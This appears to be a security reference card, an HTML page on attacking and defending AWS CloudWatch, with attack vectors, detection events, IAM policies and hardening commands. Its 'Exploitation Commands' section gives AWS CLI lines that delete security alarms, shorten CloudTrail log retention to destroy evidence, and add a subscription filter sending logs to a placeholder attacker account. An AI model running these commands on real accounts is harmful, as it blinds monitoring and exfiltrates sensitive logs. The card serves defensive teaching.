-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcloudwatch.html
More file actions
567 lines (542 loc) · 27.5 KB
/
cloudwatch.html
File metadata and controls
567 lines (542 loc) · 27.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS CloudWatch Security | AWS Security Cards</title>
<meta name="description" content="CloudWatch is AWS's monitoring service collecting logs, metrics, and events from all services. Attackers target CloudWatch to disable detection, tamper with evidence, and extract sensitive information from logs.">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
background: #0a0e1a;
color: #e2e8f0;
line-height: 1.6;
padding: 2rem;
max-width: 1200px;
margin: 0 auto;
}
a { color: #22d3ee; text-decoration: none; }
a:hover { text-decoration: underline; }
/* Card Image */
.card-image {
border-radius: 1rem;
overflow: hidden;
margin-bottom: 2rem;
border: 1px solid rgba(255,255,255,0.1);
}
.card-image img {
width: 100%;
height: auto;
display: block;
}
/* Header */
.header {
position: relative;
overflow: hidden;
border-radius: 1rem;
background: linear-gradient(135deg, #06b6d415, #0a0e1a, #0ea5e915);
border: 1px solid #06b6d44d;
padding: 2.5rem;
margin-bottom: 2rem;
}
.header::before {
content: '';
position: absolute;
top: 0; right: 0;
width: 24rem; height: 24rem;
background: #06b6d40d;
border-radius: 50%;
filter: blur(3rem);
}
.header-content { position: relative; display: flex; align-items: flex-start; gap: 1.5rem; }
.header-icon { width: 64px; height: 64px; flex-shrink: 0; }
.header-icon img { width: 100%; height: 100%; }
.header-title { font-size: 1.875rem; font-weight: 700; color: #fff; }
.header-badge {
display: inline-block;
padding: 0.25rem 0.75rem;
background: #06b6d433;
color: #06b6d4;
font-size: 0.8rem;
font-weight: 600;
border-radius: 999px;
border: 1px solid #06b6d44d;
margin-left: 0.75rem;
vertical-align: middle;
}
.header-desc { color: #94a3b8; max-width: 42rem; margin-top: 0.5rem; }
/* Stats */
.stats-row { display: grid; grid-template-columns: repeat(4, 1fr); gap: 1rem; margin-bottom: 2rem; }
.stat-card {
background: rgba(255,255,255,0.03);
border-radius: 0.5rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 1rem;
text-align: center;
}
.stat-value { font-size: 1.5rem; font-weight: 700; }
.stat-label { font-size: 0.8rem; color: #94a3b8; }
/* Sections */
.section {
background: rgba(255,255,255,0.03);
border-radius: 0.75rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 1.5rem;
margin-bottom: 1.5rem;
}
.section h2 {
font-size: 1.25rem;
font-weight: 700;
color: #fff;
margin-bottom: 1rem;
display: flex;
align-items: center;
gap: 0.5rem;
}
/* Overview */
.overview-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
.overview-grid h4 { font-size: 0.9rem; font-weight: 600; margin-bottom: 0.5rem; }
.overview-grid p { font-size: 0.875rem; color: #94a3b8; margin-bottom: 0.75rem; }
.attack-note {
background: rgba(0,0,0,0.3);
border-radius: 0.5rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 0.75rem;
font-size: 0.875rem;
color: #cbd5e1;
}
/* Risk Gauge */
.risk-gauge { display: flex; align-items: center; gap: 2rem; }
.risk-bar-container { flex: 1; }
.risk-bar {
height: 1rem;
background: #0f172a;
border-radius: 999px;
overflow: hidden;
}
.risk-bar-fill {
height: 100%;
border-radius: 999px;
background: linear-gradient(90deg, #eab308, #f97316, #ef4444);
}
.risk-labels { display: flex; justify-content: space-between; font-size: 0.8rem; color: #94a3b8; margin-top: 0.5rem; }
.risk-score { text-align: center; }
.risk-score-value { font-size: 2.5rem; font-weight: 700; color: #fb923c; }
.risk-score-label { font-size: 0.8rem; color: #94a3b8; }
.risk-desc { margin-top: 1rem; font-size: 0.875rem; color: #94a3b8; }
/* Panels Grid */
.panels-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1.5rem; margin-bottom: 1.5rem; }
@media (max-width: 1024px) { .panels-grid { grid-template-columns: repeat(2, 1fr); } }
@media (max-width: 640px) { .panels-grid, .stats-row, .overview-grid { grid-template-columns: 1fr; } }
.panel {
background: rgba(255,255,255,0.03);
border-radius: 0.75rem;
border: 1px solid;
padding: 1.5rem;
}
.panel h3 { font-size: 1.1rem; font-weight: 700; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; }
.panel h4 { font-size: 0.85rem; font-weight: 600; margin-bottom: 0.5rem; margin-top: 1rem; }
.panel ul { list-style: none; padding: 0; }
.panel li {
font-size: 0.85rem;
color: #cbd5e1;
padding: 0.15rem 0;
display: flex;
align-items: flex-start;
gap: 0.5rem;
}
.bullet { margin-top: 0.15rem; }
.note {
margin-top: 1rem;
padding: 0.75rem;
border-radius: 0.5rem;
font-size: 0.85rem;
}
/* Commands */
.cmd-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
.cmd-block { margin-top: 0.75rem; }
.cmd-title { font-size: 0.8rem; color: #94a3b8; margin-bottom: 0.25rem; }
pre {
background: rgba(0,0,0,0.5);
border-radius: 0.5rem;
padding: 0.75rem;
font-size: 0.8rem;
color: #4ade80;
overflow-x: auto;
border: 1px solid rgba(255,255,255,0.06);
white-space: pre-wrap;
word-break: break-all;
font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
}
/* Policies */
.policy-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
.policy-card {
border-radius: 0.5rem;
border: 1px solid;
padding: 1rem;
}
.policy-header { display: flex; align-items: center; gap: 0.5rem; margin-bottom: 0.75rem; font-size: 0.9rem; }
.policy-card pre { margin-bottom: 0.75rem; color: #cbd5e1; }
.policy-desc { font-size: 0.8rem; color: #94a3b8; }
/* Defenses */
.defense-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
.defense-card {
background: rgba(255,255,255,0.03);
border-radius: 0.5rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 1rem;
}
.defense-card:hover { border-color: #22d3ee4d; }
.defense-header { display: flex; align-items: flex-start; gap: 0.75rem; }
.defense-icon { font-size: 1.5rem; }
.defense-card h4 { font-size: 0.9rem; font-weight: 600; color: #fff; margin-bottom: 0.25rem; }
.defense-card p { font-size: 0.85rem; color: #94a3b8; margin-bottom: 0.5rem; }
.defense-card pre { color: #22d3ee; }
/* Footer */
.footer { text-align: center; padding: 1.5rem 0; font-size: 0.8rem; color: #64748b; }
.footer a { color: #22d3ee; }
/* Prevent ugly page-break splits */
.card-image,
.header,
.stat-card,
.stats-row,
.section,
.panel,
.cmd-block,
.policy-card,
.defense-card,
.attack-note,
.overview-grid > div,
.risk-gauge,
.note {
break-inside: avoid;
page-break-inside: avoid;
}
.section,
.panels-grid,
.card-image,
.header {
break-before: auto;
page-break-before: auto;
}
/* Keep headings with their content */
h2, h3, h4 {
break-after: avoid;
page-break-after: avoid;
}
@media print {
body { background: #0a0e1a; -webkit-print-color-adjust: exact; print-color-adjust: exact; }
/* Switch panels to 2-col for better page flow */
.panels-grid { grid-template-columns: repeat(2, 1fr); }
/* Switch commands and policies to single column to avoid splits */
.cmd-grid { grid-template-columns: 1fr; }
.policy-grid { grid-template-columns: 1fr; }
.defense-grid { grid-template-columns: 1fr; }
}
</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/cloudwatch-card.webp" alt="AWS CloudWatch Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/cloudwatch.svg" alt="AWS CloudWatch Security" /></div>
<div>
<div>
<span class="header-title">AWS CloudWatch Security</span>
<span class="header-badge">MONITORING</span>
</div>
<p class="header-desc">CloudWatch is AWS's monitoring service collecting logs, metrics, and events from all services. Attackers target CloudWatch to disable detection, tamper with evidence, and extract sensitive information from logs.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Detection Evasion Risk</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">100+</div>
<div class="stat-label">Services Monitored</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">PB+</div>
<div class="stat-label">Log Data Volume</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">Real-time</div>
<div class="stat-label">Alert Capability</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Logs & Metrics</h4>
<p>CloudWatch Logs collects log data from Lambda, ECS, EC2, API Gateway, and custom sources. Metric filters transform log patterns into numeric metrics. CloudWatch Insights enables SQL-like queries across log groups for analysis.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Logs frequently contain leaked credentials, API keys, database connection strings, and internal URLs</div>
</div>
<div>
<h4 style="color: #06b6d4;">Alarms & Dashboards</h4>
<p>Alarms trigger SNS notifications and auto-scaling actions based on metric thresholds. Composite alarms combine multiple alarms with AND/OR logic. Dashboards visualize metrics and can be shared publicly if misconfigured.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Deleting or modifying alarms before an attack eliminates the primary detection mechanism for most organizations</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 75%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">7.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">CloudWatch is the primary detection mechanism for many organizations. Attackers who can modify alarms, delete logs, or disable monitoring gain significant evasion capabilities.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Monitoring Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Alarm deletion/modification</li><li><span class="bullet" style="color: #f87171;">•</span> Log group deletion</li><li><span class="bullet" style="color: #f87171;">•</span> Retention policy reduction</li><li><span class="bullet" style="color: #f87171;">•</span> Metric filter manipulation</li><li><span class="bullet" style="color: #f87171;">•</span> Subscription filter hijacking</li></ul><h4 style="color: #f87171;">Data Mining</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Insights queries for credentials in logs</li><li><span class="bullet" style="color: #f87171;">•</span> Log stream searches for API keys</li><li><span class="bullet" style="color: #f87171;">•</span> Metric data for usage pattern analysis</li><li><span class="bullet" style="color: #f87171;">•</span> Dashboard enumeration for architecture intel</li><li><span class="bullet" style="color: #f87171;">•</span> Cross-account log group access</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Log Group Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> No log retention configured (infinite cost)</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing KMS encryption on log groups</li><li><span class="bullet" style="color: #fb923c;">•</span> Overly permissive log group resource policies</li><li><span class="bullet" style="color: #fb923c;">•</span> No cross-account log backup destination</li><li><span class="bullet" style="color: #fb923c;">•</span> Application secrets logged in plaintext</li></ul><h4 style="color: #fb923c;">Alarm Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Alarms without SNS notification actions</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing critical metric filters for security</li><li><span class="bullet" style="color: #fb923c;">•</span> No alarm on alarm-modification events</li><li><span class="bullet" style="color: #fb923c;">•</span> Composite alarms with OR logic (easily evaded)</li><li><span class="bullet" style="color: #fb923c;">•</span> Auto-scaling triggers without guard rails</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Log Groups</div>
<pre><code>aws logs describe-log-groups</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Alarms</div>
<pre><code>aws cloudwatch describe-alarms</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Metric Filters</div>
<pre><code>aws logs describe-metric-filters \\
--log-group-name /aws/lambda/myfunction</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Dashboards</div>
<pre><code>aws cloudwatch list-dashboards</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Retention Policies</div>
<pre><code>aws logs describe-log-groups \\
--query 'logGroups[*].[logGroupName,retentionInDays]'</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Log Data Exploitation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Extract credentials from application logs</li><li><span class="bullet" style="color: #c084fc;">•</span> Find API keys in Lambda execution logs</li><li><span class="bullet" style="color: #c084fc;">•</span> Discover database connection strings in errors</li><li><span class="bullet" style="color: #c084fc;">•</span> Identify internal endpoints from log entries</li><li><span class="bullet" style="color: #c084fc;">•</span> Mine session tokens from access logs</li></ul><h4 style="color: #c084fc;">Insights Query Attacks</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Query CloudTrail logs for IAM key usage</li><li><span class="bullet" style="color: #c084fc;">•</span> Search for AssumeRole patterns to find targets</li><li><span class="bullet" style="color: #c084fc;">•</span> Find error messages revealing infrastructure</li><li><span class="bullet" style="color: #c084fc;">•</span> Identify high-privilege operations by principal</li><li><span class="bullet" style="color: #c084fc;">•</span> Discover unmonitored API calls</li></ul><div class="note"><strong>Key insight:</strong> CloudWatch Logs Insights can query across 50 log groups simultaneously - one query can expose credentials across all Lambda functions.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Detection Evasion</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Delete security-critical alarms before attack</li><li><span class="bullet" style="color: #facc15;">•</span> Reduce log retention to 1 day (evidence destroyed)</li><li><span class="bullet" style="color: #facc15;">•</span> Modify metric filters to suppress alerts</li><li><span class="bullet" style="color: #facc15;">•</span> Remove SNS actions from existing alarms</li><li><span class="bullet" style="color: #facc15;">•</span> Set alarm state to OK manually</li></ul><h4 style="color: #facc15;">Ongoing Access</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Add subscription filter to exfil logs to attacker</li><li><span class="bullet" style="color: #facc15;">•</span> Create log destination to attacker account</li><li><span class="bullet" style="color: #facc15;">•</span> Inject misleading log entries for cover</li><li><span class="bullet" style="color: #facc15;">•</span> Modify dashboards to hide attack indicators</li><li><span class="bullet" style="color: #facc15;">•</span> Create false positive noise to drown real alerts</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> DeleteLogGroup</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteAlarms</li><li><span class="bullet" style="color: #4ade80;">•</span> PutRetentionPolicy (short retention)</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteSubscriptionFilter</li><li><span class="bullet" style="color: #4ade80;">•</span> DisableAlarmActions</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Alarm deletions from unknown principals</li><li><span class="bullet" style="color: #4ade80;">•</span> Retention policy changes to short periods</li><li><span class="bullet" style="color: #4ade80;">•</span> New subscription filters to external destinations</li><li><span class="bullet" style="color: #4ade80;">•</span> SetAlarmState calls (manual override)</li><li><span class="bullet" style="color: #4ade80;">•</span> Log group deletions during incident</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Search Logs for Credentials</div>
<pre><code></code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Insights Query - Find API Keys</div>
<pre><code></code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Delete Security Alarms</div>
<pre><code>aws cloudwatch delete-alarms \\
--alarm-names "UnauthorizedAPICalls" \\
"RootAccountUsage" "IAMPolicyChanges"</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Reduce Retention (Destroy Evidence)</div>
<pre><code>aws logs put-retention-policy \\
--log-group-name /aws/cloudtrail/logs \\
--retention-in-days 1</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Disable Alarm Actions</div>
<pre><code>aws cloudwatch disable-alarm-actions \\
--alarm-names "SecurityAlarm" "GuardDutyAlert"</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Add Exfil Subscription Filter</div>
<pre><code>aws logs put-subscription-filter \\
--log-group-name /aws/lambda/auth \\
--filter-name exfil \\
--filter-pattern "" \\
--destination-arn arn:aws:lambda:us-east-1:ATTACKER:function:exfil</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full Logs & Alarms Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["logs:*", "cloudwatch:*"],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Full access enables log tampering, alarm deletion, and evidence destruction</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Read-Only Monitoring</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"logs:GetLogEvents",
"logs:FilterLogEvents",
"logs:DescribeLogGroups",
"cloudwatch:GetMetricData",
"cloudwatch:DescribeAlarms"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Read-only access to logs and metrics without modification capability</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Delete Permissions</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"logs:DeleteLogGroup",
"logs:PutRetentionPolicy",
"cloudwatch:DeleteAlarms"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Destructive permissions enable complete evidence destruction and evasion</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Deny Log Destruction</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": [
"logs:DeleteLogGroup",
"logs:DeleteLogStream",
"logs:PutRetentionPolicy",
"cloudwatch:DeleteAlarms",
"cloudwatch:DisableAlarmActions"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::*:role/SecurityAdmin"
}
}
}]
}</code></pre>
<p class="policy-desc">SCP-style deny on destructive actions except for security admin role</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔄</span>
<div>
<h4>Cross-Account Log Export</h4>
<p>Export logs to a security account that attackers in the source account cannot access.</p>
<pre><code>aws logs put-destination \\
--destination-name security-backup \\
--target-arn arn:aws:kinesis:us-east-1:SECURITY_ACCT:stream/logs \\
--role-arn arn:aws:iam::SECURITY_ACCT:role/LogExport</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>KMS Encryption</h4>
<p>Encrypt log groups with KMS keys that have restricted key policies to prevent unauthorized access.</p>
<pre><code>aws logs associate-kms-key \\
--log-group-name /aws/cloudtrail/logs \\
--kms-key-id arn:aws:kms:us-east-1:*:key/xxx</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>SCP - Protect Log Groups</h4>
<p>Use SCPs to prevent retention policy changes and log group deletion across all accounts.</p>
<pre><code>"Effect": "Deny",
"Action": ["logs:DeleteLogGroup","logs:PutRetentionPolicy"],
"Resource": "arn:aws:logs:*:*:log-group:/aws/cloudtrail/*"</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔔</span>
<div>
<h4>Alarm on Alarm Changes</h4>
<p>Create a meta-alarm that triggers when security alarms are modified or deleted.</p>
<pre><code>aws cloudwatch put-metric-alarm \\
--alarm-name AlarmTamperDetection \\
--metric-name DeleteAlarms \\
--namespace CloudTrailMetrics \\
--threshold 0 --comparison-operator GreaterThanThreshold</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📋</span>
<div>
<h4>Log Group Resource Policies</h4>
<p>Protect critical log groups with resource-based policies to prevent cross-account tampering.</p>
<pre><code>aws logs put-resource-policy \\
--policy-name ProtectSecurityLogs \\
--policy-document file://log-policy.json</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">💾</span>
<div>
<h4>S3 Export with Object Lock</h4>
<p>Export logs to S3 with object lock for immutable, tamper-proof storage.</p>
<pre><code>aws s3api put-object-lock-configuration \\
--bucket security-logs \\
--object-lock-configuration '{"ObjectLockEnabled":"Enabled",
"Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":365}}}'</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS CloudWatch Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>